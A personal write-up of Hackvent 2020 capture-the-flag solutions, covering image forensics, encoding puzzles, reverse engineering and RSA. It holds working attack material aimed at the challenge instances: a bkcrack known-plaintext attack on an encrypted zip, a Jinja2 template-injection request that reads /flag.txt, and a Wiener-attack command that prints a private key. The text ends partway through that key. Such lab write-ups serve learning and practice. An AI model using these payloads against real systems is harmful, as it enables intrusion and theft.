2020-12-31
It's Hackvent again!! But 2020 was still going at full speed and I really was in doubt, whether I would manage to bring up the time to solve all the challenges in time. As usual I started with the idea to drop out at some point when work and HackVent would not fit into 24 hours anymore (did someone mention sleep?).
This year, the event started early on the 1st advent (the 29th of November 2020), which is really nice as I usually almost can't wait for it to start.
The following chapters describe how each one of the challenges was solved.
This year I managed to solve all challenges, with one late submission, which is why I (ludus) don't figure in the top of the ranking. On day 16, Naughty Rudolph furbld that cube a little too hard, so I submitted the flag 23 minutes late.
I also want to mention that I would not have been able to submit almost all flags in time if there weren't some elves pulling me out of the numerous rabbit holes or even pushing into the right direction.
Huge thanks go to:
Many thanks also go to the organising team from Compass Security and to all the challenge authors!! It's a great event that I look forward to every year.
This year, in contrast to previous years, I found the level of the challenges to be more evened out throughout the entire month. I.e. harder challenges in the beginning, and less increase in the process.
Some challenges had a very guessy component, which is something I don't like too much.
Thanks to a more community driven approach I was able to unblock myself with the help of others either from the Discord server or via other channels.
Dear reader, have fun going through the challenges and my solutions. It would be great hearing from you if this inspires you to participate next year. To do so, check out news on or related to https://hacking-lab.com/. This year's HackVent 2020 took place at https://competition.hacking-lab.com/.
Yours,
- ludus
PS: This write-up is published at https://maennel.github.io/hackvent2020/.
| Author | mij-the-dj |
| Level | easy |
| Categories | forensics |
Welcome to this year's HACKvent.
Attached you can find the "Official" invitation to the HackVent.

One of my very young Cyber Elves cut some parts of the card with his alpha scissors.
Have a great HACKvent,
– Santa
The "alpha scissors" hint in combination with the image's different appearance when being opened on my system made me think quickly that there must be a transparency (or "alpha") channel in the image.
Using the GIMP, I hid the image's Alpha channel and left RGB channels visible. That's how the flag became visible:

HV20{7vxFXB-ItHnqf-PuGNqZ}
| Author | The Compiler |
| Level | easy |
| Categories | fun |
I've received this note from a friend, who is a Chinese CTF player:
恭喜!收旗爲:HV20{獭慬氭敬敧慮琭扵瑴敲晬礭汯癥猭杲慳猭浵搭桯牳e
Unfortunately, Google Translate wasn't of much help: 

I suspect the data has somehow been messed up while transmitting it.
Sadly, I can't ask my friend about more details. The Great Chinese Firewall is thwarting our attempts to reach each other, and there's no way I'm going to install WeChat on my phone.
Encodings, encodings...
This challenge was pretty much a guessing challenge as there were no real hints in the challenge description. This confused me as my first reflex was indeed to go for an encoding-related solution. However, I then remembered previous CTFs with similar rabbit holes which ended up nowhere, so I refrained and tried to make sense from the "hints" at hand.
Turns out, I have a talent to go down rabbit holes. In the end, we simply had to encode the string in the flag with UTF-16BE, which produces the string small-elegant-butterfly-loves-grass-mud-hors, which in turn looks strangely like the contents of a HV20 flag.
HV20{small-elegant-butterfly-loves-grass-mud-horse}
| Author | darkstar |
| Level | easy |
| Categories | crypto |
One of the elves has unfortunately added a password to the last presents delivery and we cannot open it. The elf has taken a few days off after all the stress of the last weeks and is not available. Can you open the package for us?
We found the following packages:
In an attempt to unzip the two files we realise that Package 2 (941fdd96-3585-4fca-a2dd-e8add81f24a1.zip) is password protected in contrast to Package 1.
Runnin unzip -vl 790ccd6f-cd84-452c-8bee-7aae5dfe2610.zip and unzip -vl 941fdd96-3585-4fca-a2dd-e8add81f24a1.zip, we also see that the password protected zip file contains a file called flag.bin, which is not present in the other package. All other files seem to be named the same and have the same timestamp. However, CRCs are different - with one exception.
Given that we have to deal with legacy zip file encryption (and not AES encryption, we can find that out if 7z l -slt <zip file> prints something like "ZipCrypto Deflate") and if there is indeed a same file in both archives, we can run a "known-plaintext" attack to find the encrypting key and use it to extract the flag from the encrypted zip file.
Comparing CRCs, we find that both files 0053.bin have the matching CRC fcd6b08a.
Let's start a Plaintext attack on file 0053.bin using bkcrack (the result of some Google Fu):
bkcrack -C 941fdd96-3585-4fca-a2dd-e8add81f24a1.zip -c 0053.bin -P 790ccd6f-cd84-452c-8bee-7aae5dfe2610.zip -p 0053.bin
bkcrack finds encrypting keys 2445b967 cfb14967 dceb769b. To extract the file we run
bkcrack -C 941fdd96-3585-4fca-a2dd-e8add81f24a1.zip -c flag.bin -k 2445b967 cfb14967 dceb769b -d flag_deflated.txt
Inflate the resulting file (see flag.b64.txt): python3 inflate.py < flag_deflated.txt > flag.b64.txt
The inflating script was taken from https://github.com/kimci86/bkcrack/blob/master/tools/inflate.py:
import sys
import zlib
def inflate(data):
"""Returns uncompressed data."""
return zlib.decompress(data, -zlib.MAX_WBITS)
def main():
"""Read deflate compressed data from stdin and write uncompressed data to stdout."""
sys.stdout.buffer.write(inflate(sys.stdin.buffer.read()))
if __name__ == "__main__":
main()Base64 decode the resulting string (see flag.txt): base64 -d flag.b64.txt > flag.txt
HV20{ZipCrypt0_w1th_kn0wn_pla1ntext_1s_easy_t0_decrypt}
| Author | brp64 (with the help of his daugther) |
| Level | easy |
| Categories | fun |
Santa was given a nice bracelet by one of his elves. Little does he know that the secret admirer has hidden a message in the pattern of the bracelet...

Rabbit hole alert
Transcribing the 5 bracelet colors (green, magenta, pink, yellow, blue) gives the following string:
gmpymgbmpgmgbmpgbymgbymgbmbymbymgbympymbymmgbymgymgymbymbymgmgbmpgbmbymgbymbymgm
At some point the hint with violet/magenta being the separator was published, which gave the following:
"m" as separator
g|py|gb|pg|gb|pgby|gby|gb|by|by|gby|py|by| |gby|gy|gy|by|by|g|gb|pgb|by|gby|by|g|
If m was the separator, 4 more colors remain. Looking at the split string, one notices that y, if present, is always located on the very right. b was always on the right, unless there is y, etc. So here's the fixed order from the hints.
With that, I assigned values being a power of 2 to each color (a bit randomly and in a desparate move):
| Color | Value |
|---|---|
| y | 1 |
| b | 2 |
| g | 4 |
| p | 8 |
Summing these up, produces the following string of hex values:
g|py|gb|pg|gb|pgby|gby|gb|by|by|gby|py|by| |gby|gy|gy|by|by|g|gb|pgb|by|gby|by|g|
4 9 6 C 6 F 7 6 3 3 7 9 3 0 7 5 5 3 3 4 6 E 3 7 3 4
which decodes to Ilov3y0uS4n74.
I only realised when re-working my write-up that the colors represent bits. Each color/bit can either be present/1 or absent/0. However, one first had still to discover/guess that magenta was the separator.
HV20{Ilov3y0uS4n74}
| Author | blaknyte0 |
| Level | easy |
| Categories | forensics, crypto |
Santa has thousands of Christmas balls in stock. They all look the same, but he can still tell them apart. Can you see the difference?

strings on the images gave a long string in the end of both files including only chars A, C, G and T. Googling led to https://www.genome.gov/genetics-glossary/acgt. Ok, the challenge's title already hinted it, so now it's confirmed: it's got something to do with DNA.
$ strings 6bbc452b-6a32-4a72-b74f-07b7ad7b181d.jpg | tail -n1
CTGTCGCGAGCGGATACATTCAAACAATCCTGGGTACAAAGAATAAAACCTGGGCAATAATTCACCCAAACAAGGAAAGTAGCGAAAAAGTTCCAGAGGCCAAA
$ strings cf505372-330b-4b34-a95b-59fa33db37f8.jpg | tail -n1
ATATATAAACCAGTTAATCAATATCTCTATATGCTTATATGTCTCGTCCGTCTACGCACCTAATATAACGTCCATGCGTCACCCCTAGACTAATTACCTCATTC
I stumbled on DNA-Sharp was a deeeeep rabbit hole - but I should have reacted earlier, when at least one of the two strings did not parse correctly.
Further rabbit holes were ahead: The following pages both indicated some mapping between ACGT and 0-3 combinations.
More information was needed. Running binwalk on the files resulted in a file named A on one of the files. It contained 00.
Also, diffing the two images using ImageMagick (compare image1 image2 -compose src diff.png) shows that one of them contains slightly different data: 
Steghide to the help! Running steghide extract -sf 6bbc452b-6a32-4a72-b74f-07b7ad7b181d.jpg (without any password) produced a file T.png showing only 11.
Finally, since it's an easy challenge I tried mapping each of the 4 characters to two bits as follows:
XOR the two resulting strings (in binary format) - and tadaa - the flag
HV20{s4m3s4m3bu7diff3r3nt}
| Author | Bread (aka 🍞) |
| Level | medium |
| Categories | fun |
On the sixth day of Christmas my true love sent to me...

PDF version Source image (open with pixlr.com)
Cut image into tiles:
Next, I looked for a 2x2 Rubiks Cube solver, which I found at https://github.com/MeepMoop/py222.
With the following minor adjustment, each tile had an index, which allowed to identify tiles even after scrambling the cube.
diff --git a/py222.py b/py222.py
index 257882e..54bf3e4 100644
--- a/py222.py
+++ b/py222.py
@@ -110,7 +110,8 @@ fact6 = np.array([720, 120, 24, 6, 2, 1])
# get FC-normalized solved state
def initState():
- return np.array([0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5])
+ # return np.array([0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5])
+ return np.array(range(0, 6*4))
# apply a move to a state
def doMove(s, move):"selbmarcs" ==> "scrambles" reversed, so undo scrambles according to the World Cube Association (WCA) notation standard. To reverse, we need to reverse the order and swap directions on 90° rotations. With that, basically, X' becomes X and X becomes X'.
With that, we could apply one scramble after another and check whether each one of the 6 sides had three big and one small QR code target. Checking this prevented us from having to keep track of a tile's orientation (which - as it turned out - would have been useful for the challenge on day 16).
Scramble 4 was the winner:
# Scramble 4
print("Scramble 4")
s = initState()
# Forward
# s = doAlgStr(s, "B2 L U' B R2 U D' F2 R' B'")
# Reverse
s = doAlgStr(s, "B R F2 D U' R2 B' U L' B2")
printCube(s)
(The full source code can be found here).
After adjusting the orientation of all tiles, the following image could be made in GIMP: 
The following strings could be read from the QR codes:
Face 16, 09, 18, 19 ==> "HV20{Erno_"
Face 04, 01, 10, 17 ==> "Rubik_would"
Face 11, 21, 15, 23 ==> "_be_proud."
Face 13, 20, 00, 03 ==> "Petrus_is"
Face 14, 12, 07, 08 ==> "_Valid."
Face 05, 06, 02, 22 ==> "#HV20QRubicsChal}"
HV20{Erno_Rubik_would_be_proud.Petrus_is_Valid.#HV20QRubicsChal}
| Author | kuyaya |
| Level | medium |
| Categories | reverse engineering, programming |
One of the elves recently took a programming 101 course. Trying to be helpful, he implemented a program for Santa to generate all the flags for him for this year's HACKvent 2020. The problem is, he can't remember how to use the program any more and the link to the documentation just says 404 Not found. I bet he learned that in the Programming 101 class as well.
Can you help him get the flag back?
There are nearly infinite inputs that pass almost all the tests in the program. For the correct flag, the final test has to be successful as well.
Analysing the file hinted that it was a Mono/.Net file:
$ file cc1b4db7-d5b6-48b8-bee5-8dcba508bf81.exe
cc1b4db7-d5b6-48b8-bee5-8dcba508bf81.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS WindowsSearching for a decompiler for such files resulted in finding ILSpy. A variant with a frontend for Linux is provided by AvaloniaILSpy.
The decompiled code (Main) looks as follows (slightly shortened for brevity):
public static void Main(string[] args)
{
try
{
Console.Write("Your first input: ");
char[] array = Console.ReadLine().ToCharArray();
string text = "";
string text2 = "";
for (int i = 0; i < array.Length; i++)
{
if (i % 2 == 0 && i + 2 <= array.Length)
{
text += array[i + 1].ToString();
}
}
if (text == "BumBumWithTheTumTum")
{
text2 = "SFYyMH" + array[17].ToString() + "yMz" + array[8].GetHashCode() % 10 + "zcnMzXzN" + array[3].ToString() + "ZzF" + array[9].ToString() + "MzNyM" + array[13].ToString() + "5n" + array[14].ToString() + "2";
goto IL_0141;
}
if (!(text == ""))
{
text2 = text;
goto IL_0141;
}
Console.WriteLine("Your input is not allowed to result in an empty string");
goto end_IL_0000;
IL_0141:
Console.Write("Your second input: ");
char[] array2 = Console.ReadLine().ToCharArray();
text = "";
string text3 = "";
Array.Reverse(array2);
for (int j = 0; j < array2.Length; j++)
{
text += array2[j].ToString();
}
if (text == "BackAndForth")
{
text3 = "Q1RGX3" + array2[11].ToString() + "sNH" + array2[8].ToString() + "xbm" + array2[5].ToString() + "f";
goto IL_021c;
}
if (!(text == ""))
{
text3 = text;
goto IL_021c;
}
Console.WriteLine("Your input is not allowed to result in an empty string");
goto end_IL_0000;
IL_021c:
Console.Write("Your third input: ");
char[] array3 = Console.ReadLine().ToCharArray();
text = "";
string text4 = "";
byte b = 42;
for (int k = 0; k < array3.Length; k++)
{
char c = (char)(array3[k] ^ b);
b = (byte)(b + k - 4);
text += c.ToString();
}
if (text == "DinosAreLit")
{
text4 = "00ZD" + array3[3].ToString() + "f" + array3[2].ToString() + "zRzeX0=";
goto IL_02e9;
}
if (!(text == ""))
{
text4 = text;
goto IL_02e9;
}
Console.WriteLine("Your input is not allowed to result in an empty string");
goto end_IL_0000;
IL_02e9:
byte[] array4 = Convert.FromBase64String(text2 + text4);
byte[] array5 = Convert.FromBase64String(text3);
byte[] array6 = new byte[array4.Length];
for (int l = 0; l < array4.Length; l++)
{
array6[l] = (byte)(array4[l] ^ array5[l % array5.Length]);
}
byte[] array7 = SHA1.Create().ComputeHash(array6);
byte[] array8 = new byte[20]
{
107, 64, 119, 202, 154, 218, 200, 113, 1, 66, 148, 207, 23, 254, 198, 197, 79, 21, 10
};
for (int m = 0; m < array7.Length; m++)
{
if (array7[m] != array8[m])
{
Console.WriteLine("Your inputs do not result in the flag.");
return;
}
}
string @string = Encoding.ASCII.GetString(array4);
if (@string.StartsWith("HV20{"))
{
Console.WriteLine("Congratulations! You're now worthy to claim your flag: {0}", @string);
}
end_IL_0000:;
}
catch
{
Console.WriteLine("Please try again.");
}
finally
{
Console.WriteLine("Press enter to exit.");
Console.ReadLine();
}
}For all three inputs, most of the characters were easily revertable. So, we ended up with a base64 string with 2 unknown positions: SFYyMHtyMz{}zcnMzXzNuZzFuMzNyMW5n{}200ZDNfMzRzeX0=.
At first, one is tempted to try through possibilities manually, as for the first missing characters only chars 0 through 9 were possible. All flag submissions failed, though...
I therefore wrote a small solver script to check for the hash indicated in the source file:
import base64
from hashlib import sha1
for a in range(0, 9):
for b in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/":
try:
flag = base64.b64decode("SFYyMHtyMz{}zcnMzXzNuZzFuMzNyMW5n{}200ZDNfMzRzeX0=".format(a, b))
except UnicodeDecodeError:
print("Error with a={} and b={}".format(a, b))
continue
key = base64.b64decode("Q1RGX3hsNHoxbmnf")
arr = bytearray()
for i in range(0, len(flag)):
arr.append(flag[i] ^ key[i % len(key)])
if "6b4077ca9adac8713f014294cf17fec6c54f150a" == sha1(arr).hexdigest():
print(flag)
print("Success with a={} and b={}".format(a, b))The missing characters to produce the right flag were a=8 and b=X:
HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}
To The Compiler for confirming I'm on the right track it was only my implementation that was wrong.
| Author | M. (who else) |
| Level | medium |
| Categories | reverse engineering, fun |
Let's play another little game this year. Once again, as every year, I promise it is hardly obfuscated.
Perl & Term::ReadKey module (from CPAN or apt install libterm-readkey-perl for debian / ubuntu based systems)
The supplied txt file contained a perl program (hey, it's M.!). Zooming out in a browsers let's you see the full beauty of M.'s challenge:

Running the program started a colorful Tetris game in the console with blocks containing flag characters:

So beatiful, despite being written in perl (😉). I mean, who does that? M. you are an artist!
eval statement by a print statement to obtain a less obfuscated perl script.perltidy script.pl.HV20{https://www.youtube.com/watch?v=dQw4w9WgXcQ}last ... statements.$bc on line 44.print { *STDERR } $bc;.perl script_04_solved.pl 2>out.txt.The patch:
--- script_03_tidied.pl 2020-12-08 22:15:11.467291509 +0100
+++ script_04_solved.pl 2020-12-08 22:27:33.604678583 +0100
@@ -39,6 +39,7 @@
sub _s {
( $b, $bc, $x, $y ) = @_;
+ print { *STDERR } $bc unless '#' eq $bc;
for $yy ( 0 .. 2 ) {
for $xx ( 0 .. 5 ) {
substr( $f[ $yy + $y ], ( $xx + $x ), 1 ) = $bc
@@ -101,7 +102,7 @@
n();
while (1) {
$k = k();
- last if ( $k =~ /q/ );
+ #last if ( $k =~ /q/ );
$k = substr( $k, 2, 1 );
$dx = ( $k eq 'C' ) - ( $k eq 'D' );
$bx += $dx unless ( cb( $__, $bx + $dx, $by ) );
@@ -113,7 +114,7 @@
bl( $__, $_b, 101 + $bi, $bx, $by );
select( undef, undef, undef, 0.1 );
if ( cb( $__, $bx, ++$by ) ) {
- last if ( $by < 2 );
+ #last if ( $by < 2 );
_s( $__, $_b, $bx, $by - 1 );
n();
}The scripts in their different stages:
HV20{https://www.youtube.com/watch?v=Alw5hs0chj0}
| Author | inik |
| Level | medium |
| Categories | penetration testing, web security |
Here you can customize your absolutely fat-free gingerbread man.
Note: Start your personal instance from the RESOURCES section on top.
Besides the gingerbread men, there are other goodies there. Let's see if you can get the goodie, which is stored in /flag.txt.
After some clueless attempts entering random characters, the input eyes=vader&name=bla<'///><`\\"+*ç%&/()= caused an exception in the application and returned an error page along with a debugger, provided by the Werkzeug framework.
Fiddling around with the debugger did not lead anywhere, as we didn't know the PIN to run a shell - exploits like this one were not possible.
However, the error page also showed, that user input was concatenated with the Jinja2 template and rendered as a whole. That became the focus now.
Using Burpsuite's Repeater, I proceeded to abusing the template. It was a bit harder than initially thought, since you can't simply import anything you want. The following payload did not work:
eyes=*&name={%25+__import__('os').popen(\'whoami\').read()%3b+%25}
The error was: TemplateSyntaxError: Encountered unknown tag '__import__'.
Other (unsuccessful) approaches that I tried out are documented here:
Some more web crawling was needed to finally stumble on the following link at Exploit-DB describing a Server-side Template Injection vulnerability: https://www.exploit-db.com/exploits/46386.
With that information, I crafted the request hereafter and was able to find the flag:
POST / HTTP/1.1
Host: 283b1812-7b4f-4721-9095-86dd0ebbac0d.idocker.vuln.land
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: https://283b1812-7b4f-4721-9095-86dd0ebbac0d.idocker.vuln.land
Connection: close
Referer: https://283b1812-7b4f-4721-9095-86dd0ebbac0d.idocker.vuln.land/
Upgrade-Insecure-Requests: 1
eyes=*&name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read() }}
The vulnerability exploits the property that each class in python keeps a reference to its superclasses through __mro__ and to its subclasses through __subclasses__. This is how one is able to go up to Object from a str object and down again to a file class, which was then used to instantiate a new object and read out the file.
Note however, that this works for Python 2.7. The principle is still valid in Python 3, but indexes are different (and the file class seems not directly available anymore).
HV20{SST1_N0t_0NLY_H1Ts_UB3R!!!}
| Author | Bread |
| Level | medium |
| Categories | programming |
Ever wondered how Santa delivers presents, and knows which groups of friends should be provided with the best gifts? It should be as great or as large as possible! Well, here is one way.
Hmm, I cannot seem to read the file either, maybe the internet knows?
bin2asc will help you with this, but ...b to to the fopen calls on lines 37 and 58The given .col.b file has the following header:
284
c --------------------------------
c Reminder for Santa:
c 104 118 55 51 123 110 111 116 95 84 72 69 126 70 76 65 71 33 61 40 124 115 48 60 62 83 79 42 82 121 125 45 98 114 101 97 100 are the nicest kids.
c - bread.
c --------------------------------
p edges 18876 439050
Interpreting the decimal numbers directly and converting them to binary produced the string hv73{not_THE~FLAG!=(|s0<>SO*Ry}-bread. Another "flake" - doh!
As I had to find out first, .col.b files are used to store graphs in a binary DIMACS format. Their sibling is .col which is the same but in an ASCII format.
To convert between the two formats, the program bin2asc (found here or here) had to be compiled.
However, bin2asc crashed... As we had 18876 vertices and 439050 edges, the problem apparently was that the max number of allowed vertices (5000) was lower than the number of edges in our source file. So, the limit had to be raised in the file genbin.h.
Next, we apparently had to form cliques in our graph.
This was done using the python library networkx (see https://networkx.org/documentation/stable/reference/algorithms/clique.html).
Long story short, for each of the nice kids, we had to find the size of the largest clique they belong to, convert that size into a character, which then formed the flag.
#!/usr/bin/env python
import networkx as nx
from networkx.algorithms import clique
g = nx.Graph()
with open("./7b24b79f-d898-4480-bc1b-e09742f704f7_mod.col", "r") as f:
for l in f:
if l[0] == 'e':
_, a, b = l.split(' ', 2)
g.add_edge(int(a), int(b))
cliques = clique.find_cliques(g)
kids=[104,118,55,51,123,110,111,116,95,84,72,69,126,70,76,65,71,33,61,40,124,115,48,60,62,83,79,42,82,121,125,45,98,114,101,97,100]
matching_cliques=0
cliques_per_kid = {}
# Find all cliques for each kid.
for clique in cliques:
inters = set(kids).intersection(set(clique))
if len(inters) > 0:
for i in inters:
if i not in cliques_per_kid:
kid_cliques = list()
else:
kid_cliques = cliques_per_kid[i]
if len(clique) > 2:
kid_cliques.append(clique)
cliques_per_kid[i] = kid_cliques
# For each kid, find the largest clique it belongs to.
for kid in kids:
clickes = cliques_per_kid[kid]
largest_clique = 0
for clique in clickes:
clique_size = len(clique)
largest_clique = clique_size if clique_size > largest_clique else largest_clique
print(chr(largest_clique), end='')
print()HV20{Max1mal_Cl1qu3_Enum3r@t10n_Fun!}
Thanks to 🍞 for keeping me on track, when I almost gave up - and for extending the deadline for flag submission ;).
| Author | Chris |
| Level | medium |
| Categories | crypto, forensic |
Since yesterday's challenge seems to have been a bit on the hard side, we're adding a small musical innuendo to relax.
My friend Chris from Florida sent me this score. Enjoy! Is this what you call postmodern?

P.S: Also, we're giving another 24h to get full points for the last challenge.
He also sent this image, but that doesn't look like Miami's skyline to me. The secret code is useful for a file - not a website
Since I'm not really a musician, I started off with the hints. Using Google Image search, one finds out quickly that the image in the hints shows Hong-Kong, rather than Miami - but how does this help us?
Only on a second look, I discovered the link to a steganography page at https://www.mobilefish.com/services/steganography/steganography.php
It seemed clear that the sheet music image had to be uploaded there to extract some information - but what was the password to be used? It turns out, there wasn't any password for that step. One only had to overcome the especially bad UX of mobilefish.com and scroll down enough to discover the now uncovered file called flag.zip.

The resulting zip file, however, was password protected.
At that point, I feared I still had to interprete the sheet music somehow - which turned out to be right. The music, however, was special. Signs for this was the 16/16 rythm and the small 0x signs, which I've never seen on sheet music before.
I started reading the music using and interpretion help https://de.wikihow.com/Musiknoten-lesen. The result did only use sounds between A-F, never G, which confirmed its special nature. The result did not make sense yet, though.
The missing part were the octaves. Using https://en.wikipedia.org/wiki/Scientific_pitch_notation I added numbers, so I ended up with hex numbers:
e3 b4 f4 e3 d3 e2 d3 a5 b5 d5 a2 e5 a5 e3 a3
b3 e3 d5 d3 a3 d1 a1 c4 e3 e4 d1 d4 d1 d3 d1
After XORing the two, the following string was the result: PW!0p3raV1s1t0r
With that string, the zip file found earlier was extractable and the flag could be found in flag.txt.
To conclude this challenge, it is still not entirely clear to me how mobilefish.com embeds the information into pngs and whether that information can be extracted using another tool than mobilefish.com.
HV20{r3ad-th3-mus1c!}
Thanks to mcia for helping out and keeping me on the right track, when I almost let myself fool by the bad Mobilefish UX, which made it easy to not see that there was in fact a result...
| Author | SmartSmurf |
| Level | medium |
| Categories | crypto |
During their yearly season opening party our super-smart elves developed an improved usage of the well known RSA crypto algorithm. Under the "Green IT" initiative they decided to save computing horsepower (or rather reindeer power?) on their side. To achieve this they chose a pretty large private exponent around 1/4 size of modulus - impossible to guess. The reduction of 75% should save a lot of computing effort while still being safe. Shouldn't it?
Your SIGINT team captured some communication containing key exchange and encrypted data. Can you recover the original message?
Don't waste time with the attempt to brute-force the private key
{
"pubkey": {
"n": "dbn25TSjDhUge4L68AYooIqwo0HC2mIYxK/ICnc+8/0fZi1CHo/QwiPCcHM94jYdfj3PIQFTri9j/za3oO+3gVK39bj2O9OekGPG2M1GtN0Sp+ltellLl1oV+TBpgGyDt8vcCAR1B6shOJbjPAFqL8iTaW1C4KyGDVQhQrfkXtAdYv3ZaHcV8tC4ztgA4euP9o1q+kZux0fTv31kJSE7K1iJDpGfy1HiJ5gOX5T9fEyzSR0kA3sk3a35qTuUU1OWkH5MqysLVKZXiGcStNErlaggvJb6oKkx1dr9nYbqFxaQHev0EFX4EVfPqQzEzesa9ZAZTtxbwgcV9ZmTp25MZg==",
"e": "S/0OzzzDRdsps+I85tNi4d1i3d0Eu8pimcP5SBaqTeBzcADturDYHk1QuoqdTtwX9XY1Wii6AnySpEQ9eUEETYQkTRpq9rBggIkmuFnLygujFT+SI3Z+HLDfMWlBxaPW3Exo5Yqqrzdx4Zze1dqFNC5jJRVEJByd7c6+wqiTnS4dR77mnFaPHt/9IuMhigVisptxPLJ+g9QX4ZJX8ucU6GPSVzzTmwlDIjaenh7L0bC1Uq/euTDUJjzNWnMpHLHnSz2vgxLg4Ztwi91dOpO7KjvdZQ7++nlHRE6zlMHTsnPFSwLwG1ZxnGVdFnuMjEbPA3dcTe54LxOSb2cvZKDZqA==",
"format": [
"mpz_export",
-1, //order (least significant word first)
4, // size (word size)
1, // endian (most significant byte first)
0 // nail
]
},
"sessionId": "RmERqOnbsA/oua67sID4Eg=="
}
blockId):{"sessionId": "RmERqOnbsA/oua67sID4Eg==",
"blockId": 0,
"data": "fJdSIoC9qz27pWVpkXTIdJPuR9Fidfkq1IJPRQdnTM2XmhrcZToycoEoqJy91BxikRXQtioFKbS7Eun7oVS0yw==", "format": "plain"}
{"sessionId": "RmERqOnbsA/oua67sID4Eg==", "blockId": 1, "data": "vzwheJ3akhr1LJTFzmFxdhBgViykRpUldFyU6qTu5cjxd1fOM3xkn49GYEM+2cUVk22Tu5IsYDbzJ4/zSDfzKA==", "format": "plain"}
{"sessionId": "RmERqOnbsA/oua67sID4Eg==", "blockId": 2, "data": "fRYUyYEINA5i/hCsEtKkaCn2HsCp98+ksi/8lw1HNTP+KFyjwh2gZH+nkzLwI+fdJFbCN5iwFFXo+OzgcEMFqw==", "format": "plain"}
{"sessionId": "RmERqOnbsA/oua67sID4Eg==", "blockId": 3, "data": "+y2fMsE0u2F6bp2VP27EaLN68uj2CXm9J1WVFyLgqeQryh5jMyryLwuJNo/pz4tXzRqV4a8gM0JGdjvF84mf+w==", "format": "plain"}
n and e represent the public key. Luckily, there's also a format description. Searching for mpz_export leads to https://gmplib.org/manual/Integer-Import-and-Export, which explains also the following parameters:
As we want to decrypt the ciphered message, which is encrypted using the RSA public key, we need to find the private key first. But how? I would have searched for this a longer time, if there wasn't the challenge title "Wiener waltz". Searching for "RSA attacks" leads to "Coppersmith's attack", which references "Wiener's attack". Alternatively, one could also search for "Wiener crypto".
Apparently, choosing a small private key d was not so smart by the elves.
Searching for a tool, I landed at https://github.com/Ganapati/RsaCtfTool, which seems to implement the wanted attack.
RsaCtfTool however turned out to have a picky interface, so that the output had to be verified each time.
Running the following command produced the private key:
./RsaCtfTool.py -n 0xa76e4c6615f59993dc5bc207f590194ec4cdeb1a57cfa90c1055f811901debf486ea1716d5dafd9dfaa0a931a820bc96b4d12b95578867122b0b54a6907e4cab94535396adf9a93b037b24ddb3491d2494fd7c4c27980e5f9fcb51e258890e9125213b2bd3bf7d64466ec747f68d6afa00e1eb8fd0b8ced8687715f21d62fdd9b7e45ed00d54214242e0ac86c893696d3c016a2f213896e3047507abb7cbdc0869806c835a15f9307a594b9712a7e96dcd46b4dd9063c6d8f63bd39e52b7f5b8a0efb78163ff36b70153ae2f7e3dcf213de2361d23c270731e8fd0c21f662d42773ef3fdc4afc80ac2da62188ab0a341f00628a0207b82fa34a30e1575b9f6e5 -e 0x64a0d9a8926f672fee782f1303775c4d8c8c46cf655d167b1b56719cc54b02f0c1d3b273444eb394fefa79473bdd650e3a93bb2a708bdd5d12e0e19b4b3daf83291cb1e73ccd5a73b930d426b552afde1ecbd1b022369e9ed39b094363d2573cf2e714e817e19257b27e83d4b29b713c218a0562dffd22e39c568f1e1d47bee6a8939d2eedcebec244241c9d2e632515d5da853471e19cde8aaaaf37dc4c68e541c5a3d6b0df316923767e1ca3153f9259cbca0b808926b86af6b06084244d1a7941044d92a4443d28ba027cf576355a9d4edc174d50ba8abab0d81e737000ed16aa4de099c3f94804bbca62dd62dddde6d362e129b3e23c3cc345db4bfd0ecf --attack wiener --private
[*] Testing key /tmp/tmpzuq4981n.
[*] Performing wiener attack on /tmp/tmpzuq4981n.
Results for /tmp/tmpzuq4981n:
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIIEXQIBAAKCAQEAp25MZhX1mZPcW8IH9ZAZTsTN6xpXz6kMEFX4EZAd6/SG6hcW
1dr9nfqgqTGoILyWtNErlVeIZxIrC1SmkH5Mq5RTU5at+ak7A3sk3bNJHSSU/XxM
J5gOX5/LUeJYiQ6RJSE7K9O/fWRGbsdH9o1q+gDh64/QuM7YaHcV8h1i/dm35F7Q
DVQhQkLgrIbIk2ltPAFqLyE4luMEdQert8vcCGmAbINaFfkwellLlxKn6W3NRrTd
kGPG2PY7055St/W4oO+3gWP/NrcBU64vfj3PIT3iNh0jwnBzHo/Qwh9mLUJ3PvP9
xK/ICsLaYhiKsKNB8AYooCB7gvo0ow4Vdbn25QKCAQBkoNmokm9nL+54LxMDd1xN
jIxGz2VdFnsbVnGcxUsC8MHTsnNETrOU/vp5RzvdZQ46k7sqcIvdXRLg4ZtLPa+D
KRyx5zzNWnO5MNQmtVKv3h7L0bAiNp6e05sJQ2PSVzzy5xToF+GSV7J+g9Sym3E8
IYoFYt/9IuOcVo8eHUe+5qiTnS7tzr7CRCQcnS5jJRXV2oU0ceGc3oqqrzfcTGjl
QcWj1rDfMWkjdn4coxU/klnLyguAiSa4avawYIQkTRp5QQRNkqREPSi6Anz1djVa
nU7cF01Quoq6sNgec3AA7RaqTeCZw/lIBLvKYt1i3d3m02LhKbPiPDzDRdtL/Q7P
AkB7dSuT4jDODSTwTjIp+fBefNg8SeSdShdPLILytYNJtwNDeDJb0Ye7QfSWWBMD
bI+NMT9MMq7XeTXO8zgA4aIvAoGBALlCNJVmKy1SZAHzv1yAx78vOH+lpfM6oteo
mR0QQVD/iJLsKBfecK/nSTS1XKbIYBmr3VPv4bcxV3VlSGqFJmRgF2gekzsm6fK4
Z0z3XBbJkvUUHTjM7XsbcmFJBYsYiCumrybzv7wjhu1CrSwYt8A/Imt8HltcrXZz
cfLo2g4dAoGBAOddWxAVpWghi00EAvWoVss9UcbcAYergX0Gv+zYUv9jClIFvGgT
Bmo5WZ3lpQCDRfdb4mMhd7IIALGhMPB2QPyhjoeMAgiq4wnewRgUxB2SZ+wKCc3M
